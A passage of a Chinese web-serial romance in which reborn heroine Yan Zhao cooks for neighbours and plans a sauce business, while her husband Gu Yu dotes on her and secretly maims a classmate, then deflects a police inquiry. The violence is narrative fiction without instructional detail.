她下意识低下头，假装专心看锅里翻滚的面汤，耳根却一点点热起来，热意顺着脖颈爬上脸颊。 那抹粉色来得又快又明显。 …… 邻居们陆续散了，还不忘回头叮嘱一句，有什么事尽管喊一声，能搭把手的绝不含糊。 话说得热络，态度也明显亲近了不少。 言昭一边应着，一边把锅边简单收拾了一下，心里也松了口气。 人情这种东西，说白了就是一来一往，刚才那几碗面，算是把这院子里的关系慢慢铺开了。 她刚把勺子放下，就听见院门那边有动静。 一抬头，顾煜回来了。 院子里的灯正亮着，光从他头顶落下来，把眉眼照得清晰又利落。 他身形挺拔，肩背笔直，在灯光的笼罩下显得人高又俊，一眼看过去就很扎眼。 顾煜目光先是在她门口摆着的锅碗、煤炉、调味料上扫了一圈，又慢慢落回她身上。 言昭一见他，几乎是条件反射地站直了些，语气比自己意识到的还要轻快：“你回来了？饿不饿？我给你弄一碗面吃，好不好？” 顾煜没立刻说话。 他的视线在那些瓶瓶罐罐上停了一瞬，又回到她脸上。 那目光很低，很黏，像是被什么牵住了似的，带着一种说不清的专注，安静却压人。 言昭被他这么看着，心口莫名一紧。 她原本只是想让他尝尝自己最终版的味道，可这会儿被这双眼睛看得有点坐立不安，下意识移开视线，假装去看锅里的水。 然后顾煜才开口：“好。” 只有一个字。 言昭松了一口气，立刻应了一声，转身去下面条。 她没看见的是，身后那道目光一直没收回。 顾煜没站在一旁看她忙。 他扫了一眼门口堆着的碗，顺手全拎了过去，直接到水龙头底下洗了起来。 动作利索，也没多问一句为什么用了这么多碗。 言昭一愣，反应过来时已经来不及阻止，只能站在炉子边，看着水声哗啦啦地响。 她一边等着面条翻滚，一边还是忍不住往那边看。 顾煜袖子挽到小臂，手腕线条清楚，洗碗的时候低着头，很专注。 言昭胸口里的心脏跳得有点快了。 她从小听的、被教的，都是另一套。 男人坐着就好，女人围着灶台转。 洗衣做饭这种事，从来不该落到男人身上。 可现在，她站在这儿，看着顾煜洗碗，言昭有点恍惚。 重来一辈子，她最开始想的，也不过是让自己过得不那么苦，让那对狗男女早点遭报应。 她从来没敢想过，日子还能变成这样。 不是勉强活着，也不是咬牙撑着，而是有人替她把一切接过去，让她站在一边，慢慢过。 锅里的水咕嘟一声翻开。 言昭回过神来，看到面要糊了，赶紧捞出来。 顾煜把外面收拾妥当，水也关好，这才回到屋里。 桌子被她擦得干干净净，面碗已经摆好，热气缓慢往上冒着。 他坐下，没有急着说话，拿起筷子先尝了一口。 言昭几乎是下意识坐直了身子。 她双手放在腿上，指尖微微蜷着，目光一瞬不瞬地盯着他。 这一碗算是她反复调过的终极版，刚才邻居尝的只是试味，这一份才是她真正想要的口感。 里面藏了一点她自己的小心思。 盐不是现撒的，是她提前处理过的，味道更匀，不会突兀，所以她才敢在院子里随手煮给人吃。 顾煜低头吃得很认真。 咀嚼的动作不快，也没有立刻评价。 屋里一时安静下来，只剩下轻微的碗筷声。 言昭心口一阵阵发紧。 比起刚才在院子里被一群人围着尝味，这一刻反而更让她紧张。 顾煜吃了几口，终于抬起头。 他看了她一眼，没有笑，但眼神明显柔和了些。 “好吃。” 他说得很简单，但是很笃定。 言昭肩膀一下子松下来。 她自己都没意识到，刚刚那口气憋得有多紧。 等反应过来时，脸颊已经慢慢热了起来。 她忍不住问：“真的好吃吗？” 顾煜抬眼看她。 那双眼睛亮得很，带着点紧张，又藏着一点小小的期待，直直落在他身上。 他胸口里的心跳忽然重了一下，接着就有些不受控地快了起来。 顾煜睫毛轻轻一颤，很快又垂了下去。 他把目光收回，落到碗里的面条上。 这碗面跟京市常见的那种粗面不一样，面条细，汤汁裹得住，一入口味道就散开，很踏实。 他又吃了一口，这才低声应了一声：“嗯，你弄的东西，一直都很好吃。” 不是哄她，也不是随口夸。 就像是在陈述一件他早就认定的事。 言昭怔了怔。 那点紧张慢慢散开，心口却又被另一种说不清的情绪填满，热热的。 她低下头，嘴角怎么都压不住，连耳根都悄悄红了。 在顾煜把最后一口汤喝完，碗刚放下，言昭就已经伸手去拿，想把碗端走去洗。 她动作很快，生怕慢一点就被他抢先。 可碗还没离桌，手腕就被扣住了。 顾煜另一只手随意擦了下嘴角，声音低下来：“不着急洗。” 言昭下意识看他。 他还拉着她的手没松，掌心温度透过来，让她指尖微微发紧。 顾煜抬眼看她，说得很自然：“明天我带你去吃吃京市的面条。” 她刚要应一声，他又接着说：“不过我有个想法，你要不要听一下？” 他没有放开她的手。 反而微微抬了抬下巴，看着她。 言昭被他这么看着，又被他牵着，心口那点紧张又出现了。 她点了点头，小声说：“好，你说。” 顾煜伸手把椅子往旁边拖了一下，让她坐下。 他还是没急着松手，只是让她坐在旁边。 “昭昭，你弄的酱一直都很好吃。”他说到这里，又摇头：“但是揉面、拉面太辛苦了，也累人，还费时间。” “我觉得，你可以不用什么都自己来，单独卖酱就行。” 炉子里的火还在小声响着，夜风从门口钻进来，又被挡在屋外。 言昭怔住了。 她从来没往这个方向想过。 在她的认知里，做吃食就得从头做到尾，面是面，汤是汤，缺一样都不完整。 可顾煜这一句话，像是直接把她绕进了另一条路。 卖酱？ 她坐在那里，手还被他牵着，脑子却已经开始慢慢转了起来。 等言昭从思绪里回过神时，屋里已经被收拾得差不多了。 碗洗干净放好，连桌面都被擦了一遍。 角落里多了一桶热水，水汽还在往上冒，明显是刚提进来的，特地给她洗漱用的。 她今天已经泡过澡了，可忙了一整晚，身上还是出了汗。 这种被人提前照顾的感觉，让她心口发热。 言昭抬起头。 正好看见顾煜在脱衣服。 他把外套褪下，又将里面的衣服一并拉开，肩背线条一下子显出来。 身形高而挺，一层薄肌看起来结实利落，胸腹线条清楚，像是常年活动练出来的那种力量感。 现在灯光落在他身上，皮肤颜色偏冷，可很干净，随着他抬手的动作，肌理微微绷紧，又很快放松下来。 言昭的视线不受控制地停了下来。 顾煜像是这时候才察觉到她在看。 他没有立刻避开，反而微微侧过身，肩背线条在灯下更加清楚。 神色依旧淡然，像是什么都没发生过，可动作开始慢了下来。 他抬手整理了一下衣服，指尖从锁骨下方掠过，动作不紧不慢，像是刻意给人看清。 眼尾轻轻一抬，目光扫过来，又很快垂下，带着点若有似无的笑意，却不落在她脸上。 那种感觉并不张扬。 不是直白的勾引，而是一种明知道她在看，又偏偏装作不在意的从容。 偏偏这种从容，比刻意靠近更让人心跳失序。 “水给你弄好了，你去洗吧，别凉了。” 言昭这才猛地回过神来。 像是被人点了一下额头，整个人一下子清醒了。 她条件反射地咽了下口水。 那一下很轻，却在安静的屋子里显得格外明显。 等言昭反应过来自己做了什么，她脸一下子烧起来。 她低下头，心里懊恼得不行，只觉得自己刚才那点反应简直太丢人了。 可偏偏—— 顾煜看得一清二楚。 他神色依旧很稳，没有笑，也没有戳破。 只是眸光暗了一瞬，又很快敛住。 原来…… 自己不穿衣服，还能有这种效果。 第19章 你脖子被什么咬了 言昭连忙把目光收了回来，不敢再看他。 她低头看着那桶冒着热气的水，白汽缓缓往上飘，贴着脸都是暖的。 今天确实已经泡过澡了，可身上还是黏着一点汗意，总觉得不洗不踏实。 只是她余光瞥了一眼屋里，顾煜还在。 她就有点局促，手指下意识抠着桶沿，站在原地没动。 顾煜还在慢吞吞地把衣服重新穿好，动作不急不缓，扣子一颗一颗扣上…… 随后他拿起搭在椅背上的外套，语气平常得不能再平常：“我去一趟，等会儿回来。” 说完就掀开门帘走了出去，还顺手把门带上。 门一合上，屋里顿时安静下来。 言昭这才真正松了口气，肩背不自觉地塌下来，连呼吸都顺了不少。 她看着那桶热水，又想起刚才那一幕，脸颊还是忍不住发热，低声嘀咕了一句什么，才端起水，转身进了里面。 顾煜并没有走远。 他出了门，脚步停在院子一角，月光落下来，把他的影子拉得很长，修长利落。 然后他低头看了一眼，像是在确认什么，又慢慢蹲下身，从一块松动的砖头下面掏出一个小小的火柴盒。 随手把盒子塞进衣兜里，他站起身，又回到了门口。 隔着门，顾煜能听见里面的水声。 他站在门口，没有再动。 夜风从院子里吹过来，带着一点凉意，可怎么也压不下他心口那点翻涌的躁动。 他脑子里忽然冒出一个不合时宜的念头—— 要是现在推门进去，她一定会被吓到。 那双眼睛会慌乱地望过来，神情失措，连一句完整的话都说不出来。 脸颊大概会迅速烧红，连呼吸都乱了节奏。 这个念头才刚成形，他就皱起了眉。 顾煜很清楚，真要看到了那一幕，今晚自己还能不能保持理智，都是个未知数。 他站在原地，指节一点点收紧，又缓缓松开，明显是在强行把那些越界的念头压回去。 最终，他什么都没做，只是靠在门边，抬头看了一眼天上的月亮，低低地吐出一口气，把那些不该继续的念头生生压了下去。 …… 夜深下来，屋子里只剩下一点微弱的动静。 言昭躺在床上，但是身体一直没能真正放松下来。 这张床其实比宿舍里的那张要宽不少，可她偏偏觉得，两个人之间的距离反而更近了，近得让人心里发紧。 她能清楚地感觉到身后传来的热度。 不是贴得很紧，是那种存在感极强，像是隔着薄薄一层空气，把她整个人包在里面。 言昭不敢乱动，只能僵着身体，呼吸都放得很轻。 脑子还在反复想起顾煜说的那些话。 他说卖酱不一定只是卖一种酱。 可以做凉拌用的，拌面、拌粉的，也可以是包子、饺子用的肉馅酱。 京市最不缺的，就是愿意花钱图个方便、图个好吃的人。 东西一多，路子自然也就宽了。 这些话在她脑子里慢慢铺开。 比白天那些不安、局促、被人议论的情绪要实在得多。 她甚至开始不自觉地想，自己要怎么配比例，怎么定口味，哪些适合清淡，哪些适合重一点。 想着想着，心口那点紧绷慢慢松了一些。 夜里安静下来。 言昭已经睡熟，呼吸变得很轻，肩背也慢慢放松。 顾煜没睡。 他在床边坐起身。 月光从窗子斜斜落进来，落在她的侧脸上，把轮廓映得很软。 他慢慢俯下身，并没有真正压上去，只是停在一个极近的距离。 近到他能清楚地看见她眉眼间的放松，近到呼吸都不可避免地交叠。 顾煜的目光落在她颈侧。 那眼神很深，很黏，像是被什么缠住了一样，带着一点克制不住的暗色，可又死死压着，没有越线。 他低下头，没有碰她。 只是贴得很近，在她颈侧轻轻停住，像是在感受那一点温度。 空气里有她身上淡淡的味道，不浓，却很清晰。 顾煜闭了下眼，深深吸了一口气。 那口气压得很重，又被他生生咽了回去。 片刻后，他直起身，重新坐回床边。 像是什么终于被放回原位。 屋子重新归于安静。 只有窗外的月光，悄无声息地落着。 言昭醒过来的时候，身边已经空了。 屋子里也很安静。 言昭下床，看到桌上摆着一碗豆浆，几根油条，还有两个包子。 现在顾煜应该已经去学校了。 她去洗漱，水刚泼到脸上，院子里又热闹了起来。 骂骂咧咧的声音隔着墙传进来，比昨晚还大。 “怎么又烧了？！” “到底是谁缺德成这样，天天在我家被子点火！” 言昭擦脸的动作顿了一下。 她走到门口往外看了一眼，就看见昨天那一家围在院子里，地上还是一堆焦黑的痕迹，空气里残着一点烧糊的味道。 那妇人站在最前头，嗓门又尖又急，一边拍大腿一边骂，像是恨不得把人揪出来当场算账。 言昭微微蹙眉，这院子这么不太平，搞得她都不敢把被子拿出来晒了。 邻居们很快就凑了过来。 昨天吃过她面条的那几个人先开了口，说话也直：“大妹子，你家被子上次不是没晒成吗？我们就在院子里坐着帮你看着，谁也别想乱来。” 又有人接话，说这两天院子里本来就闹腾，人多反而安全，“真要有人再敢点火，我们一准给你抓现行。” 言昭被说得有点不好意思。 她本来也没想着麻烦别人，可这么一劝，心里那点犹豫慢慢松动了。 想了想，还是点了头，低声说了句：“那谢谢婶子们。” 她连忙把被子抱出来晒上。 这次她特意选了最显眼、离人最多的地方，一铺开，心里就踏实了不少。 一边拍着被角，一边想着中午要是顾煜回来，她就去买点料，把他说的那些酱试着弄一弄。 想到这儿，她想到自己身上剩下的一些钱…… 言昭忽然有点泄气。 每次嘴上都说不花顾煜的钱，可回头一看，衣服是给她买的，锅碗炉子是给她用的，就连接下来要试着做的那些料，也都要继续花钱。 钱没赚到，先把口袋掏空了。 这个念头一冒出来，她情绪一下子低了下去。 甚至开始忍不住想，是不是自己太没用，重生了一辈子，换个地方，还是在拖人后腿。 言昭正出神着，旁边的王婶子忽然凑近了一点，盯着她看了两眼，伸手一指：“大妹子，你这脖子上是被虫子咬的吧？怎么咬得这么狠，一片一片的，得赶紧涂点药。” 言昭下意识抬手，顺着被指的摸了摸。 “言妹子，我这儿有镜子。”李婶子正好在旁边，手里拿着个小圆镜，递了过来，“你自己照照。” 言昭接过镜子，歪着脖子照了过去，她就看到自己颈侧靠下的位置，有一小片痕迹。 不是蚊子包那种鼓起的点，也不像被抓破。 颜色偏深，边缘散着，看着有点突兀。 言昭看了看，又摸了摸。 不痛不痒的。 “这肯定不是普通虫子咬的。”王婶子还在旁边念叨，“现在天还热，你晚上撒点虫粉吧。睡觉再注意点，别挠，抹点药，过两天就下去了。” 李婶子也点头：“是啊，这种印子看着吓人，其实不算大事。” 言昭点点头，“好的，谢谢婶子。” 中午的时候，院子门口传来脚步声。 言昭一抬头，就看见顾煜回来了。 他手里拎着饭盒，步子走得不快，衣服的袖子挽到手肘，整个人站在院子里，很显眼。 几乎是他一出现，院子里的目光就都被吸了过去。 有人笑着打招呼：“哎，小言对象回来了啊。” 又有人跟着起哄：“哟，还带饭呢？” “这可是京大的学生啊，天天自己的对象没饭吃，往家里带饭呢。” “啧，小言真是好命。” 这些话一句一句落下来，说的人语气随意，听的人却各有各的滋味。 言昭站在被子旁边，手里还捏着衣角，听得脸有点热，下意识想把存在感往后藏。 顾煜像是没怎么在意这些话。 他目光在院子里扫了一圈，很快就落到言昭身上。 “阿姨叔叔，那我们先回去了。” 他说得自然，语气温和，还很有礼貌地微微笑了一下。 话落，他已经伸手牵住了言昭。 言昭被他这么一牵，整个人都僵了一瞬。 掌心贴着他的手指，温度一下子窜了上来，她耳根几乎是立刻就红了，低着头被他带着往屋里走。 身后立刻响起一阵起哄声。 “哟哟哟——” “年轻人就是好啊。” “这手牵得紧的。” 有人笑着说羡慕，有人语气里却明显带了点酸：“也是，人家京大的学生呢，娶个乡下老婆，不演得好点怎么行，估计也就是给我们看的。” 这话不大不小，偏偏刚好能让人听见。 言昭脚步微微一顿，指尖下意识收紧了一下。 她没抬头，但是能感觉到这句话像根细刺，扎得人心里不太舒服。 顾煜像是没听见一样。 他步子没停，反而把她的手握得更紧了一点，顺手替她挡住了从院子里投来的那些目光。 门帘落下，外面的声音被隔在外头。 屋子里一下子安静下来。 言昭这才慢慢吐出一口气，心跳还乱着。 顾煜侧头看了她一眼，语气平静：“别管他们，我也是乡下人，只是因为读书而已，而且你也快读书了。” 像是在说一件再简单不过的事。 言昭唇瓣抿了抿。 顾煜看她还低着头，情绪明显没完全缓过来，便没再继续刚才院子里的话题。 他把饭盒放到桌上，像是随口一提似的说了一句：“国庆的时候，我们回一趟老家。” 言昭的注意力几乎是瞬间被拽走。 她猛地抬起头看向他：“什么……怎么要回去了？” 那语气里藏不住的紧张，让顾煜微微一愣。 在他原本的预想里，她听见“回老家”，不应该高兴吗？ 顾煜牵着她在椅子上坐下，语气慢下来，开始认真解释： “最近我打算转系，转去物理系。” “那边有个教授跟我关系比较熟，之前聊过几次。” 言昭怔怔地听着，脑子有点跟不上。 “他知道我在京市买了房子，你也过来了，就跟我提了一句。说可以趁这个机会，把户口转过来。” 这句话一落下，言昭几乎是下意识地反问：“转……转户口？”她眼睛猛地睁大，“转来京市？我……我也可以？” 那语气里的震惊藏都藏不住。 首都。 京市。 这些词，对她来说，太神圣了。 顾煜看着她这副样子，忍不住笑了一下。 他伸手过来，轻轻把她因为惊讶而微微张开的嘴合上，指腹在她下巴上蹭了一下，语气自然得理所当然：“你是我老婆，为什么不可以？” 言昭一直小心翼翼、反复确认的那些“不配”“不敢想”，在他这里，发现从来就不是问题。 此时顾煜的手还没有收回。 他的指节停在她下颌线那一小段位置，力道明明很轻。 拇指沿着她的下巴慢慢滑了一点，像是想确认什么。 顾煜的喉结轻轻动了一下，像是把什么念头硬生生压了回去。 最终，他只是用拇指在她下巴上按了按，随即松开，改成很短的一下抚过她的侧颈，仿佛在提醒自己适可而止。 言昭回过神来，发现两人距离很近，近的都能感觉到他的呼吸。 她只能僵着身体，看着他近在咫尺的帅脸。 顾煜像是什么都没发生过，语气照旧，问她：“而且这样你也是城里人了，你不高兴吗？” 言昭的注意力被拉回来，嘴唇却不自觉地又咬住了。 下一瞬，他的手已经伸过来，指腹把她咬紧的唇瓣轻轻拉开，眉眼间难得露出一点明显的不悦。 她被这动作弄得紧张，声音还是低低的：“高兴……” 顾煜这才把手收回去，像是确认了什么，语气也缓和下来：“高兴就行。所以那些话你别往心里去。就这院子里，真正有京市户口的，也没几个。” 言昭原本是想忍着的。 可那点情绪在心里翻了又翻，还是没憋住，唇角慢慢翘起来。 她抬头看他，眼睛亮得不像话，声音里带着一点不敢置信的颤：“我……我真的可以成为京市的人吗？” 顾煜看了她一眼，没有再多解释。 他把饭盒打开，热气一下子冒出来，香味很实在。 “当然可以。”他说，“先吃饭吧，别放凉了。” 话落，他把筷子递到她手边。 言昭接过来，指尖微微发热，心里慢慢踏实了下来。 第20章 言昭的主动 午饭吃完后，桌上收拾得干干净净。 顾煜起身，把空饭盒叠好放到一边，像是顺手，又从口袋里拿出几张钱，放在桌面上。 纸币压着桌角，没有发出什么声音。 言昭的视线无意扫过去，下一秒整个人就怔住了。 又是五十块。 她几乎是条件反射地抬起头看向他，眼睛一下子睁大。 言昭是真的被震住了。 顾煜也太会赚钱了，刚花完那一百多，现在又是五十。 她这几天已经反省过了。 吃的、用的、添置的东西，哪一样不是花钱。 再这么下去，她自己心里都过不去。 几乎没怎么犹豫，言昭伸手把那张五十块抓起来，直接塞回顾煜手里，语气又快又急：“不用给我这么多，有钱你放你那儿攒着就好。” 顾煜低头看了眼被她塞回来的钱，抬起眼：“你是嫌弃我给的少吗？” 言昭没想到他会这么理解，连忙摇头：“不是，不是，我怎么可能会嫌弃，我……嘶……” 她话说得太急，舌尖猛地一疼，声音戛然而止，眉心瞬间拧紧，脸色也白了一下。 顾煜几乎是立刻反应过来。 他伸手捧住她的后脑，动作比意识还快，另一只手抬起，指节扣住她的下巴。 “张嘴。”他说。 语气低沉而紧绷。 言昭被他托着，只能下意识张开嘴。 顾煜俯身看了一眼，视线落在她微微发红的舌尖上，那点颜色在他眼里显得格外刺目。 他的脸色一下子沉了下来。 言昭缓了两秒，那阵尖锐的疼已经过去，只剩下一点余麻。 她抬眼看着近在咫尺的人，被他这样捧着脑袋，距离近得让人无处可躲。 身体里面像是有什么一下子往上冲，气血都跟着乱了节奏。 顾煜的视线还停在她脸上，确认她没有再皱眉，才低声问了一句：“还疼吗？” 言昭轻轻摇了摇头。 顾煜这才松了一口气，胸腔微微起伏了一下。 他低低地呼出一口气，温热的气息不偏不倚地拂在她脸颊上，停留了一瞬，又很快散开。 下一秒，他松开了手。 顾煜转过身去，背对着她站了一会儿。 袖口下，他的手慢慢收紧，指节攥成拳，力道压得很死。 片刻后，他开口，声音已经恢复了平静，像是在把情绪一寸寸压回去。 “我刚刚那句话是无心的，也知道你不是那个意思。”他顿了顿，没有回头，“这钱你也拿着，我去学校了。” 在顾煜离开后，言昭站在原地，她忽然觉得自己又把事情搞砸了。 明明人家只是给她钱，她要推来推去，还把自己舌头咬了，直接添乱。 他肯定对自己不耐烦了。 这个念头一冒出来，言昭胸口就有点发闷。 她低下头，指尖无意识地揪着衣角，眼眶慢慢泛起一点红意，又被她死死忍住，不敢真的掉下来。 而另一边，离开院子的顾煜并没有去学校。 他拐了个弯，直接进了街角的药店。 女店员一抬头，看见走进来的人，被这张帅脸惊的愣了一下。 高个子，五官冷淡，气质干净，站在柜台前的时候，特别显眼。 而且大帅哥面色着急，一副天塌下来的样子，让人下意识以为是出了什么不小的事。 女店员脑子里已经闪过好几种严重情况，可最后她听了半天，以为是舌头掉了呢，没想到最后只是咬到了舌头？ 女店员听完，沉默了两秒。 然后默默从柜子里拿出一盒润喉片，放到台面上。 “这个就行了。”她语气恢复正常，“含着就好。” 顾煜看了一眼，又抬头：“再来两盒。” …… 京大废弃仓库内。 门缝透进的一缕光线斜进黑暗，正好折射在顾煜脸上。 明暗交界处，照射的那双眼神沉得吓人，静得骇人。 此时顾煜坐在一把破旧木椅上，姿态闲散。 他袖口卷至肘部，露出行云流水的曲线，青筋在皮肤下隐约起伏。 此刻那双言昭觉得好看的修长的手此刻染满暗红血渍，黏稠液体顺着修长指节缓缓滴落。 顾煜垂眸，用一块从男人身上撕下的破布慢条斯理地擦拭手指。 布料摩擦皮肤的声音在死寂中格外清晰。 现在顾煜脚下踩着一个男人。 那人蜷缩在地，每一次喘息都如同破风箱抽拉，喉咙里发出嗬嗬的声响。 随着呼吸，暗红血沫不断从嘴角溢出，在地面洇开一滩污渍。 “我说过，不要烦我。”顾煜开口。 脚下男人猛地抽搐，想要挣扎，但还是被那只脚死死碾住胸口。 鞋底缓慢施压，能听见肋骨发出不堪重负的细响。 男人瞳孔骤缩，脸上血色尽褪。 顾煜看他不说，就从旁边拿出一把小刀。 刀身泛着冷光，在他指尖翻转，折射出森然寒芒。 “可你为什么总要烦我呢？”顾煜说，“选一个吧。” 男人剧烈颤抖起来，含糊不清地求饶：“顾……顾哥……我错了……求你饶了我……” 顾煜唇角勾起一丝极淡的弧度，这个笑毫无温度。 “看来你不想选。”他声音轻得像耳语，“那我帮你。” 刀光闪过。 没有惨叫。 因为顾煜一只手扼住男生喉咙，将所有声音掐死在源头。 紧接着是手指被割裂的闷响，和急促粗重的喘息。 血喷溅出来，有几滴落在顾煜侧脸。 他没躲，任由那抹猩红沿着颧骨滑落，在苍白皮肤上划出刺目轨迹。 松开手，男人瘫软在地，左手的大拇指已经没了，切口也正汩汩涌血。 顾煜起身，刀就扔到了地上。 他从仓库里走出来的时候，刘曼青正站在门口。 门还没来得及完全合上，里面那股刺鼻的血腥味先一步涌了出来。 她尖叫声几乎是失控地冲出口。 然后刘曼青腿一软，直接摔坐在地上，手撑着地面，指尖发抖，脸色白得吓人。 顾煜停下脚步，低头看了她一眼。 那目光很冷，没有惊讶，也没有被撞破的慌乱。 片刻后，顾煜忽然微微一笑，语气温和：“有人在仓库里自残受伤了，情况看起来不太好，我正要去找老师呢。” 刘曼青脸色惨白，嘴唇哆嗦着，死死盯着他。 她明明看见了。 明明亲眼看见，是他动的手。 但是刘曼青是一句话都说不出来。 顾煜没有再看她，转身离开。 他真的去叫了老师。 没过多久，仓库那边便乱了起来，有人报了医务室，又叫了救护车。 被发现的男人很快被抬走送往医院，现场一片混乱。 而顾煜已经回到了实验室。 白炽灯亮着，实验台干净整齐。他换下外套，重新戴上手套，低头继续未完成的课题。 神情专注，动作熟练。 …… 言昭这边折腾得并不顺利。 院子里地方本来就小，又没有正经灶台，案板只能临时搭在角落里用。 那些大料一包包拆开，再一份份清洗，费水又费力，稍不注意就把地面弄得一塌糊涂。 她一边洗一边收拾，手上来回都是油和香料的味道，怎么都散不掉。 等她终于把能用的都处理好，天色已经暗了下来。 火候不够，条件也简陋，她最后也只勉强做出了一盆凉拌酱。 味道不算差，但远没有她原本设想得那么好。 即便这样，她还是盛出了一点，分给了隔壁两家邻居。 等忙完后，言昭这才后知后觉地感觉到难受。 身上全是油烟和大料混在一起的味道，头发、衣服、手指，全都沾着。 她低头闻了一下，眉头立刻皱了起来。 她想洗澡。 可一想到院子里的热水，她就有点发愁。 这里的热水竟然是用电烧的，一大桶水要烧很久不说，看着就觉得费钱。 她在原地站了一会儿，心里迅速算了一下，还是有点舍不得。 脑子里很自然地冒出了另一个念头——大澡堂。 但那也是要钱的。 言昭叹了口气。 她是个爱干净的人，所以现在身上这股味道实在让她有点受不了，黏糊糊的，怎么坐都不自在。 在言昭眉心拧得更紧的时候，耳边忽然响起一道声音。 “昭昭，你怎么了？” 言昭一怔，抬头才发现顾煜不知道什么时候站在了她身边。 她下意识仰着脸看他，脱口而出：“你不是说会忙得很晚吗？” 话音落下，她才意识到他站得太近了。 那点油烟味仿佛被无限放大，她心里一紧，赶紧往后退了一步。 就是这一退，她眼角余光扫到什么，动作顿住了。 顾煜右侧衣角，有一小片颜色不对。 言昭低头看去，声音一下子紧了：“你……你是不是哪里受伤了？你身上怎么有血？” 顾煜顺着她的视线低头看了一眼，确实看到衣角沾着一滴暗红。 那一瞬，他眉眼沉了下去，冷意几乎是本能地浮上来。 但很快，他抬起头，对上言昭的目光，神色已经重新变得温和。 “可能是今天去食堂的时候不小心沾到的。”他说得自然，“今天吃的是鸡肉。” 言昭立马松口气：“幸好不是受伤。” …… 言昭低头吃着他带回来的晚饭，顾煜刚说今天食堂是鸡肉。 可饭盒一打开，里面却是切得整整齐齐的牛肉，酱汁收得很浓，香味压得人心口发暖。 她也没有问。 顾煜坐在一旁，看她一口一口吃着，神情安静。 过了一会儿，他忽然开口：“吃完我们去大澡堂洗澡。” 言昭动作一顿，立刻抬头看向他，眼睛睁得有点大。 顾煜已经伸手过来，指腹在她嘴角轻轻一捏，把那点没注意到的饭粒取走。 动作很快，也很自然。 紧接着他又把那点饭粒送进自己嘴里，随意地咬了一下。 言昭看到他这个举动，脸颊一下子热起来，热意几乎是瞬间蔓延到耳根。 她低下头，手里的筷子都不知道该往哪儿放，只能假装专心吃饭。 …… 言昭总觉得，顾煜今晚有点不对劲。 他看起来依旧和平时没什么两样，说话、动作都很正常，甚至比平时还要安静些。 可正因为这样，反而让人更容易察觉出那点压着的情绪。 他明明说过，今天会忙得很晚。 可又回来得很快。 难道是学校发生了什么事？ 在言昭泡完澡出来的时候，顾煜已经在外面等着了。 夜色压下来，澡堂昏黄的灯光落在他身上，勾勒出一张过分安静的侧脸。 这一刻，言昭忽然看得更清楚了。 他的脸色很白。 不是没休息好的那种白，而是像被什么抽走了血色，透着一层冷白。 那双眼睛也沉得厉害，目光落在她身上，像是隔着一层什么，深不见底。 言昭忍不住多看了他两眼。 顾煜察觉到她的视线，转头看过来。 他没有立刻说话，而是低下头，稍稍凑近了一点，声音压得很低：“昭昭，怎么了？” 这一次，言昭没有躲。 她看着他近在咫尺的脸，忽然伸出手，掌心贴上了他的额头。 温度透过皮肤传过来，她下意识皱了下眉，语气很轻：“你是不是不舒服？” 顾煜明显愣了一下。 他没料到她会突然主动靠近。 那一瞬间，他脸上的冷白像是被什么打破了。 血色慢慢浮上来，从颧骨到耳根，极淡，但真实存在。 “没有。”他说得有点慢，“就是有点累。” 他没有把她的手拿开，只是站在那里，任由她贴着。 那双原本沉得吓人的眼睛，也在这一刻缓和下来，像是被她这点无声的靠近，生生拽回了人间。 言昭看着近在咫尺的帅脸，好像没有很白，她心里那点悬着的劲儿一下子松了。 但是她很快意识到自己做了什么，指尖一僵，赶紧把手收了回来，语气有点急，又刻意装得自然：“有点冷了，我们快点回去吧。” 澡堂外面还有几个人坐着纳凉，说话声断断续续。 言昭这句话一出来，那几道目光不约而同地扫了过来。 顾煜站在她身侧，看着她这副反应，眼底的情绪动了一下。 唇角缓缓勾起一个很浅的弧度。 可刚走出没多远，顾煜脚步忽然一顿。 脑子里面那股刺痛毫无征兆地加重了，像是有什么东西在脑子里骤然绷紧，又狠狠敲了一下，连带着顾煜视线都短暂地晃了晃。 第21章 言昭暴揍刘曼青 顾煜看着眼前人，他眼底的情绪轻轻动了一下，像是被什么拨了一下水面。 唇角缓缓勾起一个很浅的弧度，但是很快又被他压了下去。 两人往回走了没多远，顾煜的脚步忽然一顿。 脑子里那股刺痛毫无征兆地加重了，像是有什么东西在里面骤然绷紧，又狠狠敲了一下。 他的视线短暂地晃了晃，脚下几乎踩空，指尖不自觉收紧。 顾煜很快把那点异常压下去，呼吸恢复到平稳的节奏，说道：“我学校有点事。” 言昭愣了一下：“现在吗？” “嗯。”顾煜点头，“你先回去，晚上不用等我。” 顾煜的身影很快消失在路口。 言昭站在原地看了一会儿，直到那条路彻底空下来，才慢慢收回视线。 她轻轻叹了口气，抬手拢了拢被风吹乱的头发。 做学生真是辛苦。 白天要上课，晚上还要上课。 大家还说大学生都是在学校躺着就有钱呢。 …… 另一边，顾煜已经进了学校。 脑海里的刺痛不但没有减轻，反而一阵比一阵清晰。 而在这一阵一阵的刺痛中，顾煜唇角的弧度一点点拉大，温和得近乎无懈可击。 京大晚上的人不少。 路灯亮着，学生来来往往。 顾煜从人群里走过，那张向来干净好看的脸上挂着浅浅的笑意，看起来温顺又疏离，回头看他的人比平时还要多。 当顾煜推开实验室的门。 陈离一眼看见他，立刻走了过来，压低声音：“王珩在医院，那根手指……没接上去。” 顾煜听见这话，笑容反而更深了一点，语气轻得像是在感叹天气：“太可怜了。” 那声“可怜”说得毫无起伏。 陈离张了张嘴，像是想说什么，最后又什么都没说出来，眼神里带着一点说不清的迟疑。 这时，白天一直跟在教授身边的那个“小陈”急匆匆跑了进来。 “哥。”他先是对陈离喊了一声，随即目光落到顾煜身上，神色明显紧张起来，“顾煜，警察在找你。” 实验室里短暂地安静了一瞬。 顾煜脸上的笑意没有半点变化，反而像是听到了什么有趣的事，眼底轻轻动了一下。 他站在那里，语气依旧温和，甚至带着一点好奇。 “警察来了啊。”他说，“为什么要找我？” 陈言：“是王珩的事情……” …… 校长办公室里灯光很亮。 门一推开，里面已经坐了不少人。 校长、几位老师，靠窗的位置站着三名警察，刘曼青也在，脸色发白，手指紧紧攥着衣角，整个人像是被抽走了力气。 顾煜走进去的时候，脚步从容。 他脸上带着一贯温和的笑意，视线在屋内扫了一圈，最后落在警察身上，语气礼貌的很：“警察同志，请你们找我有什么事情吗？” 他的状态太正常了。 衣着整洁，神情平稳，说话有分寸，加上顾煜平时在学校表现一直很好，从没出过问题。 警察从校长老师那里知道这些，对他的态度就好了不少。 其中一人翻了下记录，说道：“今天王珩在学校废弃仓库内受伤，被人用刀切下了一根手指。我们了解到，当时你也在仓库，能不能说一下发生了什么？” 顾煜脸上的笑意慢慢收敛了几分。 他像是认真回想了一下，随后轻轻叹了口气，语气里带着一点无奈： 